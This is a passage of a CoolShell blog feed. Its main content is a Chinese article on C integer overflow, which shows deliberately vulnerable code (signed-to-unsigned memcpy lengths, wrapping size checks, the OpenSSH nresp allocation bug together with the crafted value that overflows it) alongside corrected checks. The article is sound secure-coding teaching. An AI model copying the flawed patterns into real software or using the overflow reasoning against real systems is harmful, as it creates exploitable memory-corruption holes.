<p style="text-align: right;"><strong> <a href="https://coolshell.cn/articles/11609.html" target="_blank">TCP的那些事儿（下）&gt;&gt;&gt;</a></strong></p>
<p style="text-align: left;">（上篇完）</p>
<p><!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/22263.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2022/07/wall_clock-300x167-1-150x150.jpeg" alt="从一次经历谈 TIME_WAIT 的那些事" width="150" height="150" /></a><a href="https://coolshell.cn/articles/22263.html" class="wp_rp_title">从一次经历谈 TIME_WAIT 的那些事</a></li><li ><a href="https://coolshell.cn/articles/19840.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg" alt="HTTP的前世今生" width="150" height="150" /></a><a href="https://coolshell.cn/articles/19840.html" class="wp_rp_title">HTTP的前世今生</a></li><li ><a href="https://coolshell.cn/articles/11609.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/05/xin_2001040422167711230318-150x150.jpg" alt="TCP 的那些事儿（下）" width="150" height="150" /></a><a href="https://coolshell.cn/articles/11609.html" class="wp_rp_title">TCP 的那些事儿（下）</a></li><li ><a href="https://coolshell.cn/articles/9859.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2013/06/Alan-Cox-150x150.jpg" alt="Alan Cox：单向链表中prev指针的妙用" width="150" height="150" /></a><a href="https://coolshell.cn/articles/9859.html" class="wp_rp_title">Alan Cox：单向链表中prev指针的妙用</a></li><li ><a href="https://coolshell.cn/articles/7490.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg" alt="性能调优攻略" width="150" height="150" /></a><a href="https://coolshell.cn/articles/7490.html" class="wp_rp_title">性能调优攻略</a></li><li ><a href="https://coolshell.cn/articles/1484.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2009/09/tcp1-150x150.jpg" alt="TCP网络关闭的状态变换时序图" width="150" height="150" /></a><a href="https://coolshell.cn/articles/1484.html" class="wp_rp_title">TCP网络关闭的状态变换时序图</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/11564.html">TCP 的那些事儿（上）</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/11564.html/feed</wfw:commentRss>
			<slash:comments>237</slash:comments>
		
		
			</item>
		<item>
		<title>C语言的整型溢出问题</title>
		<link>https://coolshell.cn/articles/11466.html</link>
					<comments>https://coolshell.cn/articles/11466.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Mon, 21 Apr 2014 00:18:01 +0000</pubDate>
				<category><![CDATA[C/C++语言]]></category>
		<category><![CDATA[程序设计]]></category>
		<category><![CDATA[编程语言]]></category>
		<category><![CDATA[网络安全]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[Overflow]]></category>
		<category><![CDATA[安全]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=11466</guid>

					<description><![CDATA[<p>整型溢出有点老生常谈了，bla, bla, bla&#8230; 但似乎没有引起多少人的重视。整型溢出会有可能导致缓冲区溢出，缓冲区溢出会导致各种黑客攻击，比如...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/11466.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/11466.html">C语言的整型溢出问题</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script>整型溢出有点老生常谈了，bla, bla, bla&#8230; 但似乎没有引起多少人的重视。整型溢出会有可能导致缓冲区溢出，缓冲区溢出会导致各种黑客攻击，比如最近OpenSSL的heartbleed事件，就是一个buffer overread的事件。在这里写下这篇文章，希望大家都了解一下整型溢出，编译器的行为，以及如何防范，以写出更安全的代码。</p>
<h4>什么是整型溢出</h4>
<p>C语言的整型问题相信大家并不陌生了。对于整型溢出，分为无符号整型溢出和有符号整型溢出。</p>
<p><strong>对于unsigned整型溢出，C的规范是有定义的</strong>——“溢出后的数会以2^(8*sizeof(type))作模运算”，也就是说，如果一个unsigned char（1字符，8bits）溢出了，会把溢出的值与256求模。例如：</p>
<pre class="EnlighterJSRAW" data-enlighter-language="c">unsigned char x = 0xff;
printf("%d\n", ++x);</pre>
<p>上面的代码会输出：0 （因为0xff + 1是256，与2^8求模后就是0）</p>
<p><strong>对于signed整型的溢出，C的规范定义是“undefined behavior”</strong>，也就是说，编译器爱怎么实现就怎么实现。对于大多数编译器来说，算得啥就是啥。比如：</p>
<pre class="EnlighterJSRAW" data-enlighter-language="c">signed char x =0x7f; //注：0xff就是-1了，因为最高位是1也就是负数了
printf("%d\n", ++x);</pre>
<p>上面的代码会输出：-128，因为0x7f + 0x01得到0x80，也就是二进制的1000 0000，符号位为1，负数，后面为全0，就是负的最小数，即-128。</p>
<p><span id="more-11466"></span></p>
<p>另外，千万别以为signed整型溢出就是负数，这个是不定的。比如：</p>
<pre class="EnlighterJSRAW" data-enlighter-language="c">signed char x = 0x7f;
signed char y = 0x05;
signed char r = x * y;
printf("%d\n", r);</pre>
<p>上面的代码会输出：123</p>
<p>相信对于这些大家不会陌生了。</p>
<h4>整型溢出的危害</h4>
<p>下面说一下，整型溢出的危害。</p>
<h5>示例一：整形溢出导致死循环</h5>
<pre class="EnlighterJSRAW" data-enlighter-language="c"> ... ...
... ...
short len = 0;
... ...
while(len&lt; MAX_LEN) {
    len += readFromInput(fd, buf);
    buf += len;
}</pre>
<p>上面这段代码可能是很多程序员都喜欢写的代码（我在很多代码里看到过多次），其中的MAX_LEN 可能会是个比较大的整型，比如32767，我们知道short是16bits，取值范围是-32768 到 32767 之间。但是，上面的while循环代码有可能会造成整型溢出，而len又是个有符号的整型，所以可能会成负数，导致不断地死循环。</p>
<h5>示例二：整形转型时的溢出</h5>
<pre class="EnlighterJSRAW" data-enlighter-language="c">int copy_something(char *buf, int len)
{
    #define MAX_LEN 256
    char mybuf[MAX_LEN];
     ... ...
     ... ...

     if(len &gt; MAX_LEN){ // &lt;---- [1]
         return -1;
     }

     return memcpy(mybuf, buf, len);
}</pre>
<p>上面这个例子中，还是[1]处的if语句，看上去没有会问题，但是len是个signed int，而memcpy则需一个size_t的len，也就是一个unsigned 类型。于是，len会被提升为unsigned，此时，如果我们给len传一个负数，会通过了if的检查，但在memcpy里会被提升为一个正数，于是我们的mybuf就是overflow了。这个会导致mybuf缓冲区后面的数据被重写。</p>
<h5>示例三：分配内存</h5>
<p>关于整数溢出导致堆溢出的很典型的例子是，OpenSSH Challenge-Response SKEY/BSD_AUTH 远程缓冲区溢出漏洞。下面这段有问题的代码摘自OpenSSH的代码中的auth2-chall.c中的input_userauth_info_response() 函数:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="c">nresp = packet_get_int();
if (nresp &gt; 0) {
    response = xmalloc(nresp*sizeof(char*));
    for (i = 0; i &lt; nresp; i++)
        response[i] = packet_get_string(NULL);
}</pre>
<p>上面这个代码中，nresp是size_t类型（size_t一般就是unsigned int/long int），这个示例是一个解数据包的示例，一般来说，数据包中都会有一个len，然后后面是data。如果我们精心准备一个len，比如：1073741825（在32位系统上，指针占4个字节，unsigned int的最大值是0xffffffff，我们只要提供0xffffffff/4 的值——0x40000000，这里我们设置了0x4000000 + 1）， nresp就会读到这个值，然后nresp<em>sizeof(char</em>)就成了 1073741825 * 4，于是溢出，结果成为了 0x100000004，然后求模，得到4。于是，malloc(4)，于是后面的for循环1073741825 次，就可以干环事了（经过0x40000001的循环,用户的数据早已覆盖了xmalloc原先分配的4字节的空间以及后面的数据，包括程序代码，函数指针，于是就可以改写程序逻辑。关于更多的东西，你可以看一下这篇文章《<a href="http://engj.org/index.php/ej/article/view/112/167" target="_blank" rel="noopener noreferrer">Survey of Protections from Buffer-Overflow Attacks</a>》）。</p>
<h5>示例四：缓冲区溢出导致安全问题</h5>
<pre class="EnlighterJSRAW" data-enlighter-language="c">int func(char *buf1, unsigned int len1,
         char *buf2, unsigned int len2 )
{
   char mybuf[256]; 

   if((len1 + len2) &gt; 256){    //&lt;--- [1]
       return -1;
   } 

   memcpy(mybuf, buf1, len1);
   memcpy(mybuf + len1, buf2, len2); 

   do_some_stuff(mybuf); 

   return 0;
}</pre>
<p>上面这个例子本来是想把buf1和buf2的内容copy到mybuf里，其中怕len1 + len2超过256 还做了判断，但是，如果len1+len2溢出了，根据unsigned的特性，其会与2^32求模，所以，基本上来说，上面代码中的[1]处有可能为假的。（注：通常来说，在这种情况下，如果你开启-O代码优化选项，那个if语句块就全部被和谐掉了——被编译器给删除了）比如，你可以测试一下 len1=0x104， len2 = 0xfffffffc 的情况。</p>
<h5>示例五：size_t 的溢出</h5>
<pre class="EnlighterJSRAW" data-enlighter-language="c">for (int i= strlen(s)-1;  i&gt;=0; i--)  { ... }</pre>
<pre class="EnlighterJSRAW" data-enlighter-language="c">for (int i=v.size()-1; i&gt;=0; i--)  { ... }</pre>
<p>上面这两个示例是我们经常用的从尾部遍历一个数组的for循环。第一个是字符串，第二个是C++中的vector容器。strlen()和vector::size()返回的都是 size_t，size_t在32位系统下就是一个unsigned int。你想想，如果strlen(s)和v.size() 都是0呢？这个循环会成为个什么情况？于是strlen(s) &#8211; 1 和 v.size() &#8211; 1 都不会成为 -1，而是成为了 (unsigned int)(-1)，一个正的最大数。导致你的程序越界访问。</p>
<p>这样的例子有很多很多，这些整型溢出的问题如果在关键的地方，尤其是在搭配有用户输入的地方，如果被黑客利用了，就会导致很严重的安全问题。</p>
<h4>关于编译器的行为</h4>
<p>在谈一下如何正确的检查整型溢出之前，我们还要来学习一下编译器的一些东西。请别怪我罗嗦。</p>
<h5>编译器优化</h5>
<p>如何检查整型溢出或是整型变量是否合法有时候是一件很麻烦的事情，就像上面的第四个例子一样，编译的优化参数-O/-O2/-O3基本上会假设你的程序不会有整形溢出。会把你的代码中检查溢出的代码给优化掉。</p>
<p>关于编译器的优化，在这里再举个例子，假设我们有下面的代码（又是一个相当相当常见的代码）：</p>
<pre class="EnlighterJSRAW" data-enlighter-language="c">int len;
char* data;

if (data + len &lt; data){
    printf("invalid len\n");
    exit(-1);
}
</pre>
<p>上面这段代码中，len 和 data 配套使用，我们害怕len的值是非法的，或是len溢出了，于是我们写下了if语句来检查。这段代码在-O的参数下正常。但是在-O2的编译选项下，整个if语句块被优化掉了。</p>
<p>你可以写个小程序，在gcc下编译（我的版本是4.4.7，记得加上-O2和-g参数），然后用gdb调试时，用disass /m命信输出汇编，你会看到下面的结果（你可以看到整个if语句块没有任何的汇编代码——直接被编译器和谐掉了）：</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">7 int len = 10;
8 char* data = (char *)malloc(len);
0x00000000004004d4 &lt;+4&gt;: mov $0xa,%edi
0x00000000004004d9 &lt;+9&gt;: callq 0x4003b8 &lt;malloc@plt&gt;

9
10 if (data + len &lt; data){
11 printf(&quot;invalid len\n&quot;);
12 exit(-1);
13 }
14
15 }
0x00000000004004de &lt;+14&gt;: add $0x8,%rsp
0x00000000004004e2 &lt;+18&gt;: retq
</pre>
<p>对此，你需要把上面 char* 转型成 uintptr_t 或是 size_t，说白了也就是把char*转成unsigned的数据结构，if语句块就无法被优化了。如下所示：</p>
<pre class="EnlighterJSRAW" data-enlighter-language="c">if ((uintptr_t)data + len &lt; (uintptr_t)data){
    ... ...
}</pre>
<p>关于这个事，你可以看一下C99的规范说明《 <a href="http://www.open-std.org/JTC1/SC22/WG14/www/docs/n1124.pdf" target="_blank" rel="noopener noreferrer">ISO/IEC 9899:1999 C specification</a> 》第 §6.5.6 页，第8点，我截个图如下：（这段话的意思是定义了指针+/-一个整型的行为，如果越界了，则行为是undefined）</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-11469" src="https://coolshell.cn/wp-content/uploads/2014/04/c99.jpg" alt="" width="647" height="310" srcset="https://coolshell.cn/wp-content/uploads/2014/04/c99.jpg 647w, https://coolshell.cn/wp-content/uploads/2014/04/c99-300x144.jpg 300w, https://coolshell.cn/wp-content/uploads/2014/04/c99-564x270.jpg 564w" sizes="(max-width: 647px) 100vw, 647px" /></p>
<p>注意上面标红线的地方，说如果指针指在数组范围内没事，如果越界了就是undefined，也就是说这事交给编译器实现了，编译器想咋干咋干，那怕你想把其优化掉也可以。在这里要重点说一下，<strong>C语言中的一个大恶魔—— Undefined! 这里都是“野兽出没”的地方，你一定要小心小心再小心</strong>。</p>
<h5>花絮：编译器的彩蛋</h5>
<p>上面说了所谓的undefined行为就全权交给编译器实现，gcc在1.17版本下对于undefined的行为还玩了个彩蛋（<a href="http://en.wikipedia.org/wiki/Undefined_behavior#Compiler_easter_eggs" target="_blank" rel="noopener noreferrer">参看Wikipedia</a>）。</p>
<p>下面gcc 1.17版本下的遭遇undefined行为时，gcc在unix发行版下玩的彩蛋的源代码。我们可以看到，它会去尝试去执行一些游戏<a href="http://en.wikipedia.org/wiki/NetHack">NetHack</a>， <a href="http://en.wikipedia.org/wiki/Rogue_%28computer_game%29">Rogue</a> 或是Emacs的 <a href="http://en.wikipedia.org/wiki/Tower_of_Hanoi#Applications">Towers of Hanoi</a>，如果找不到，就输出一条NB的报错。</p>
<pre class="EnlighterJSRAW" data-enlighter-language="c">execl("/usr/games/hack", "#pragma", 0); // try to run the game NetHack
execl("/usr/games/rogue", "#pragma", 0); // try to run the game Rogue
// try to run the Tower's of Hanoi simulation in Emacs.
execl("/usr/new/emacs", "-f","hanoi","9","-kill",0);
execl("/usr/local/emacs","-f","hanoi","9","-kill",0); // same as above
fatal("You are in a maze of twisty compiler features, all different");</pre>
<h4>正确检测整型溢出</h4>
<p>在看过编译器的这些行为后，你应该会明白——“<strong>在整型溢出之前，一定要做检查，不然，就太晚了</strong>”。</p>
<p>我们来看一段代码：</p>
<pre class="EnlighterJSRAW" data-enlighter-language="c"> void foo(int m, int n)
{
    size_t s = m + n;
    .......
}</pre>
<p>上面这段代码有两个风险：<strong>1）有符号转无符号</strong>，<strong>2）整型溢出</strong>。这两个情况在前面的那些示例中你都应该看到了。<strong>所以，你千万不要把任何检查的代码写在 s = m + n 这条语名后面，不然就太晚了</strong>。undefined行为就会出现了——用句纯正的英文表达就是——“Dragon is here”——你什么也控制不住了。（注意：有些初学者也许会以为size_t是无符号的，而根据优先级 m 和 n 会被提升到unsigned int。其实不是这样的，m 和 n 还是signed int，m + n 的结果也是signed int，然后再把这个结果转成unsigned int 赋值给s）</p>
<p>比如，下面的代码是错的：</p>
<pre class="EnlighterJSRAW" data-enlighter-language="c"> void foo(int m, int n)
{
    size_t s = m + n;
    if ( m&gt;0 &amp;&amp; n&gt;0 &amp;&amp; (SIZE_MAX - m &lt; n) ){
        //error handling...
    }
}</pre>
<p>上面的代码中，大家要注意 <strong>(SIZE_MAX &#8211; m &lt; n)</strong> 这个判断，为什么不用m + n &gt; SIZE_MAX呢？因为，如果 m + n 溢出后，就被截断了，所以表达式恒真，也就检测不出来了。另外，这个表达式中，m和n分别会被提升为unsigned。</p>
<p>但是上面的代码是错的，因为：</p>
<p style="padding-left: 30px;">1）检查的太晚了，if之前编译器的undefined行为就已经出来了（你不知道什么会发生）。</p>
<p style="padding-left: 30px;">2）就像前面说的一样，(SIZE_MAX &#8211; m &lt; n) 可能会被编译器优化掉。</p>
<p style="padding-left: 30px;">3）另外，SIZE_MAX是size_t的最大值，size_t在64位系统下是64位的，严谨点应该用INT_MAX或是UINT_MAX</p>
<p> 所以，正确的代码应该是下面这样：</p>
<pre class="EnlighterJSRAW" data-enlighter-language="c"> void foo(int m, int n)
{
    size_t s = 0;
    if ( m&gt;0 &amp;&amp; n&gt;0 &amp;&amp; ( UINT_MAX - m &lt; n ) ){
        //error handling...
        return;
    }
    s = (size_t)m + (size_t)n;
}</pre>
<p>在《<a href="https://developer.apple.com/library/ios/documentation/Security/Conceptual/SecureCodingGuide/SecureCodingGuide.pdf" target="_blank" rel="noopener noreferrer">苹果安全编码规范</a>》（PDF）中，第28页的代码中：</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-11472" src="https://coolshell.cn/wp-content/uploads/2014/04/apple_security_code.jpg" alt="" width="300" height="94" /></p>
<p>如果n和m都是signed int，那么这段代码是错的。正确的应该像上面的那个例子一样，至少要在n<em>m时要把 n 和 m 给 cast 成 size_t。因为，n</em>m可能已经溢出了，已经undefined了，undefined的代码转成size_t已经没什么意义了。（如果m和n是unsigned int，也会溢出），上面的代码仅在m和n是size_t的时候才有效。</p>
<p>不管怎么说，《<a href="https://developer.apple.com/library/ios/documentation/Security/Conceptual/SecureCodingGuide/SecureCodingGuide.pdf" target="_blank" rel="noopener noreferrer">苹果安全编码规范</a>》绝对值得你去读一读。</p>
<h5>二分取中搜索算法中的溢出</h5>
<p>我们再来看一个二分取中搜索算法（binary search），大多数人都会写成下面这个样子：</p>
<pre class="EnlighterJSRAW" data-enlighter-language="c">int binary_search(int a[], int len, int key)
{
    int low = 0; 
    int high = len - 1; 

    while ( low&lt;=high ) {
        int mid = (low + high)/2;
        if (a[mid] == key) {
            return mid;
        }
        if (key &lt; a[mid]) {
            high = mid - 1;
        }else{
            low = mid + 1;
        }
    }
    return -1;
}</pre>
<p>上面这个代码中，你可能会有这样的想法：</p>
<p>1） 我们应该用size_t来做len, low, high, mid这些变量的类型。没错，应该是这样的。但是如果这样，你要小心第四行 int high = len -1; 如果len为0，那么就“high大发了”。</p>
<p>2） 无论你用不用size_t。我们在计算mid = (low+high)/2; 的时候，(low + high) 都可以溢出。正确的写法应该是：</p>
<pre class="EnlighterJSRAW" data-enlighter-language="c">int mid = low + (high - low)/2;</pre>
<h5>上溢出和下溢出的检查</h5>
<p>前面的代码只判断了正数的上溢出overflow，没有判断负数的下溢出underflow。让们来看看怎么判断：</p>
<p>对于加法，还好。</p>
<pre class="EnlighterJSRAW" data-enlighter-language="c">#include &lt;limits.h&gt;

void f(signed int si_a, signed int si_b) {
    signed int sum;
    if (((si_b &gt; 0) &amp;&amp; (si_a &gt; (INT_MAX - si_b))) ||
        ((si_b &lt; 0) &amp;&amp; (si_a &lt; (INT_MIN - si_b)))) {
        /* Handle error */
        return;
    }
    sum = si_a + si_b;
}</pre>
<p>对于乘法，就会很复杂（下面的代码太夸张了）：</p>
<pre class="EnlighterJSRAW" data-enlighter-language="c">void func(signed int si_a, signed int si_b)
{
  signed int result;
  if (si_a &gt; 0) {  /* si_a is positive */
    if (si_b &gt; 0) {  /* si_a and si_b are positive */
      if (si_a &gt; (INT_MAX / si_b)) {
        /* Handle error */
      }
    } else { /* si_a positive, si_b nonpositive */
      if (si_b &lt; (INT_MIN / si_a)) {
        /* Handle error */
      }
    } /* si_a positive, si_b nonpositive */
  } else { /* si_a is nonpositive */
    if (si_b &gt; 0) { /* si_a is nonpositive, si_b is positive */
      if (si_a &lt; (INT_MIN / si_b)) {
        /* Handle error */
      }
    } else { /* si_a and si_b are nonpositive */
      if ( (si_a != 0) &amp;&amp; (si_b &lt; (INT_MAX / si_a))) {
        /* Handle error */
      }
    } /* End if si_a and si_b are nonpositive */
  } /* End if si_a is nonpositive */

  result = si_a * si_b;
}</pre>
<p>更多的防止在操作中整型溢出的安全代码可以参看《<a href="https://www.securecoding.cert.org/confluence/display/seccode/INT32-C.+Ensure+that+operations+on+signed+integers+do+not+result+in+overflow">INT32-C. Ensure that operations on signed integers do not result in overflow</a>》</p>
<h4>其它</h4>
<p>对于C++来说，你应该使用STL中的numeric_limits::max() 来检查溢出。</p>
<p>另外，微软的SafeInt类是一个可以帮你远理上面这些很tricky的类，下载地址：<a href="http://safeint.codeplex.com/" target="_blank" rel="noopener noreferrer">http://safeint.codeplex.com/</a></p>
<p>对于Java 来说，一种是用JDK 1.7中Math库下的safe打头的函数，如safeAdd()和safeMultiply()，另一种用更大尺寸的数据类型，最大可以到BigInteger。</p>
<p>可见，写一个安全的代码并不容易，尤其对于C/C++来说。对于黑客来说，他们只需要搜一下开源软件中代码有memcpy/strcpy之类的地方，然后看一看其周边的代码，是否可以通过用户的输入来影响，如果有的话，你就惨了。</p>
<p><strong>参考</strong>：</p>
<ul>
<li><a href="http://phrack.org/issues/60/10.html" target="_blank" rel="noopener noreferrer">Basic Integer Overflow</a></li>
</ul>
<ul>
<li><a href="https://www.owasp.org/index.php/Integer_overflow" target="_blank" rel="noopener noreferrer">OWASP：Integer overflow</a></li>
</ul>
<ul>
<li><a href="https://www.kb.cert.org/vuls/id/162289" target="_blank" rel="noopener noreferrer">C compilers may silently discard some wraparound checks</a></li>
</ul>
<ul>
<li><a href="https://developer.apple.com/library/ios/documentation/Security/Conceptual/SecureCodingGuide/SecureCodingGuide.pdf" target="_blank" rel="noopener noreferrer">Apple Secure Coding Guide</a></li>
</ul>
<ul>
<li><a href="http://en.wikipedia.org/wiki/Undefined_behavior" target="_blank" rel="noopener noreferrer">Wikipedia: Undefined Behavior</a></li>
</ul>
<ul>
<li>
<p id="title-text" class="with-breadcrumbs"><a href="https://www.securecoding.cert.org/confluence/display/seccode/INT32-C.+Ensure+that+operations+on+signed+integers+do+not+result+in+overflow">INT32-C. Ensure that operations on signed integers do not result in overflow</a></p>
</li>
</ul>
<p>最后， 不好意思，这篇文章可能罗嗦了一些，大家见谅。</p>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/21708.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-150x150.png" alt="网络数字身份认证术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/21708.html" class="wp_rp_title">网络数字身份认证术</a></li><li ><a href="https://coolshell.cn/articles/20845.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg" alt="Rust语言的编程范式" width="150" height="150" /></a><a href="https://coolshell.cn/articles/20845.html" class="wp_rp_title">Rust语言的编程范式</a></li><li ><a href="https://coolshell.cn/articles/19395.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png" alt="HTTP API 认证授权术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/19395.html" class="wp_rp_title">HTTP API 认证授权术</a></li><li ><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg" alt="程序员练级攻略（2018)  与我的专栏" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_title">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png" alt="如何免费的让网站启用HTTPS" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_title">如何免费的让网站启用HTTPS</a></li><li ><a href="https://coolshell.cn/articles/18024.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg" alt="API设计原则 &#8211; Qt官网的设计实践总结" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18024.html" class="wp_rp_title">API设计原则 &#8211; Qt官网的设计实践总结</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/11466.html">C语言的整型溢出问题</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/11466.html/feed</wfw:commentRss>
			<slash:comments>96</slash:comments>
		
		
			</item>
		<item>
		<title>从“黑掉Github”学Web安全开发</title>
		<link>https://coolshell.cn/articles/11021.html</link>
					<comments>https://coolshell.cn/articles/11021.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Mon, 10 Feb 2014 00:16:11 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[网络安全]]></category>
		<category><![CDATA[Gist]]></category>
		<category><![CDATA[github]]></category>
		<category><![CDATA[OAuth]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[安全]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=11021</guid>

					<description><![CDATA[<p>Egor Homakov（Twitter: @homakov 个人网站: EgorHomakov.com）是一个Web安全的布道士，他这两天把github给黑了...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/11021.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/11021.html">从“黑掉Github”学Web安全开发</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="alignright" alt="" src="https://coolshell.cn/wp-content/uploads/2014/02/Github-Security.png" width="236" height="251" />Egor Homakov（Twitter: <a href="http://twitter.com/homakov">@homakov</a> 个人网站: <a href="http://egorhomakov.com/">EgorHomakov.com</a>）是一个Web安全的布道士，他这两天把github给黑了，并给github报了5个安全方面的bug，他在他的这篇blog——《<a href="http://homakov.blogspot.com/2014/02/how-i-hacked-github-again.html" target="_blank">How I hacked Github again</a>》（墙）说明了这5个安全bug以及他把github黑掉的思路。Egor的这篇文章讲得比较简单，很多地方一笔带过，所以，<strong>我在这里用我的语言给大家阐述一下黑掉Github的思路以及原文中所提到的那5个bug。希望这篇文章能让从事Web开发的同学们警惕</strong>。关于Web开发中的安全事项，大家可以看看这篇文章《<a title="Web开发中需要了解的东西" href="https://coolshell.cn/articles/6043.html" target="_blank">Web开发中的你需要了解的东西</a>》</p>
<h4>OAuth简介</h4>
<p>首先，这个故事要从<a href="https://developer.github.com/v3/oauth/" target="_blank">Github OAuth</a>讲起。所以，我们需要先知道什么是<a href="http://en.wikipedia.org/wiki/OAuth" target="_blank">OAuth</a>。所谓OAuth就是说，第三方的应用可以通过你的授权而不用知道你的帐号密码能够访问你在某网站的你自己的数据或功能。像Google, Facebook, Twitter等网站都提供了OAuth服务，提供OAuth服务的网站一般都有很多开放的API，第三方应用会调用这些API来开发他们的应用以让用户拥有更多的功能，但是，当用户在使用这些第三方应用的时候，这些第三方的应用会来访问用户的帐户内的功能和数据，所以，当第三应用要干这些事的时候，我们不能让第三方应用弹出一个对话框来问用户要他的帐号密码，不然第三方的应用就把用户的密码给获取了，所以，OAuth协议会跳转到一个页面，让用户授权给这个第三方应用以某些权限，然后，这个权限授权的记录保存在Google/Facebook/Twitter上，并向第三方应用返回一个授权token，于是第三方的应用通过这个token来操作某用户帐号的功能和数据时，就畅通无阻了。下图简单地说明了Twitter的OAuth的授权过程。</p>
<p><span id="more-11021"></span></p>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="aligncenter  wp-image-11022" alt="" src="https://coolshell.cn/wp-content/uploads/2014/02/oauth-authentication.png" width="630" height="375" srcset="https://coolshell.cn/wp-content/uploads/2014/02/oauth-authentication.png 700w, https://coolshell.cn/wp-content/uploads/2014/02/oauth-authentication-300x178.png 300w" sizes="(max-width: 630px) 100vw, 630px" /></p>
<p style="text-align: left;">从上面的流程图中，我们可以看OAuth不管是1.0还是2.0版本都是一个比较复杂的协议，所以，在Server端要把OAuth实现对并不是一些容易事，其总是或多或少会有些小错误。Egor就找到了几个Github的OAuth的实现的问题。</p>
<h4 style="text-align: left;">OAuth的Callback</h4>
<p>还需要注意的是，因为OAuth是需要跳到主站的网页上去让用户授权，当用户授权完后，需要跳转回原网页，所以，一般来说，OAuth授权页都会带一个 redirect_url的参数，用于指定跳转回原来的网页。Github使用的这个跳转参数是redirect_uri参数。一般来说，redirect_uri这个参数需要在服务器端进行验证。</p>
